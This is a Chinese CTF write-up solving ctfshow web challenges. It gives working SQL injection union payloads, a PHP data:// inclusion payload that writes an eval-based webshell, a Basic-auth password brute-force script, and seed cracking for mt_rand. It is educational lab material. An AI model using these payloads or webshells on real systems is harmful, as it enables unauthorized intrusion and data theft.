WEB2-SQL注入
題目提示是簡單的SQL注入,於是嘗試輸入點中使用萬能密碼:admin'or 1=1#(CTF中SQL萬能密碼集合)發現成功執行,於是
order by查找回顯數
username=ctfshow' order by 3 #&password=1
在3時正常回顯,4是無回顯,說明回顯數為3
使用union select 聯合查詢爆庫名
username=ctfshow' union select 1,database(),3#&password=1
發現數據庫是web2,繼續爆表名:
username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #&password=1
爆字段:
username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=1
爆flag;
username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=1
web3-文件包含漏洞
打開網站提示輸入url,測試/etc/passwd成功顯示,應為文件包含漏洞
第一種方法:
php偽協議中的data通過通配符查找目錄下的所有文件
==url=data://text/plain,<?php print_r(glob("*")); ?>==
得到 ctf_go_go_go
直接訪問得flag
第二種方法:
寫入一句話菜刀連接
==url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>==
附:常見的php偽協議及用法:https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427
web入門題
WEB3-phps可以讀取源碼
地址欄phps可以讀取php源碼,得到flag
web7-git泄露-/.git
提示版本控制很重要,但不要部署到生產環境更重要。
關於版本控制,首先想到的是git泄露,訪問/.git,得到flag
web8-git泄露-/.svn
提示內容和web7一樣,除了git泄露以外,還存在svn泄露,訪問/.svn得到flag
web9-vim編輯會生成index.php.swp
提示發現網頁有個錯別字?趕緊在生產環境vim改下,不好,死機了
當我們在使用vim編輯的時候,vim會在被編輯文件同一目錄下,創建一個名為filename.swp的文件,記錄我們的動作,比如在編輯index.php的時候會存在一個index.php.swp的文件,訪問/index.php.swp下載文件得到flag
web14-通過編輯器文件
提示有時候源碼里面就能不經意間泄露重要(editor)的信息,默認配置害死人
訪問/editor
點擊插入文件(第二排倒數第十個)選擇文件空間
在tmp/html/nothinghere文件夾中找到fl000g.txt,插入文件后會顯示路徑/editor/attached/file/tmp/html/nothinghere/fl000g.txt
訪問nothinghere/fl000g.txt得到flag
web16-php探針
又學到一個新東西,/tz.php,找到phpinfo 點進去搜索flag
web21-brup爆破需要編碼,Authorization: Basic
1.打開題目,點擊click
2.下載附件后,發現是一個密碼字典,考慮該題為賬號密碼爆破
3.根據基礎認證相關知識,Burp打開,輸入admin/admin看下登錄請求
4.將YWRtaW46YWRtaW4=解密內容為:admin:admin
5.需要使用python編寫腳本將密碼加密,腳本如下:
#! /usr/bin/env python3 # _*_ coding:utf-8 _*_ import base64 # 字典文件路徑 dic_file_path = ‘./10_million_password_list_top_100.txt‘ with open(dic_file_path, ‘r‘) as f: password_dic = f.readlines() username = ‘admin:‘ # 用戶名 for password in password_dic: str1=str.encode(username + password.strip()) encodestr = base64.b64encode(str1) encodestr=str(encodestr) encodestr=encodestr.strip(‘b\‘‘) encodestr=encodestr.replace("=","\=") #避免“=”被轉譯 print(encodestr)
運行腳本,結果如下:
6.將結果導出保存為password.txt
7.Action將請求包發送至爆破模塊,設置Payload positions選擇Authorization: Basic后內容,字典選擇剛才保存的password.txt
8.可以看到返回包長度里面有一個是394,跟其他的不同,查看其響應包,發現flag
還有一種方法,不使用腳本,直接使用Burp內置decode功能,方法如下:
1.將請求包發送到Decoder模塊,選擇需要解密的內容,decode as設置成base64解碼
2.請求包發送至Intruder模塊,將需要爆破的密文給Add §
3.設置payloads,導入附件中的字典,在payload processing中設置Prefix添加前綴
admin:
,設置Base64-encode使用base64加密該前綴
4.點擊Start attack開始,最終發現一返回包狀態碼為200,數據長度為394,在返回包中發現flag
避坑提示:
在做這個題目時,采用第一種方法一直無法獲取flag,后經參考資料,發現payloads設置里payload encodeing設置里前面的勾要去掉,不然會將base64里“=”編碼,導致錯誤
web25-使用php_mt_seed爆破種子,然后提交
首先將r賦值獲取一個隨機數
使用命令time ./php_mt_seed 1410783733爆破
通過php在線平台編輯得到r和token並提交
1 <?php 2 mt_srand(1208098864); 3 echo(mt_rand()); 4 echo PHP_EOL; 5 echo(mt_rand()+mt_rand());//剛開始這里沒有加括號導致不對 6 if(!0){ 7 echo('a'); 8 } 9 ?> 10 11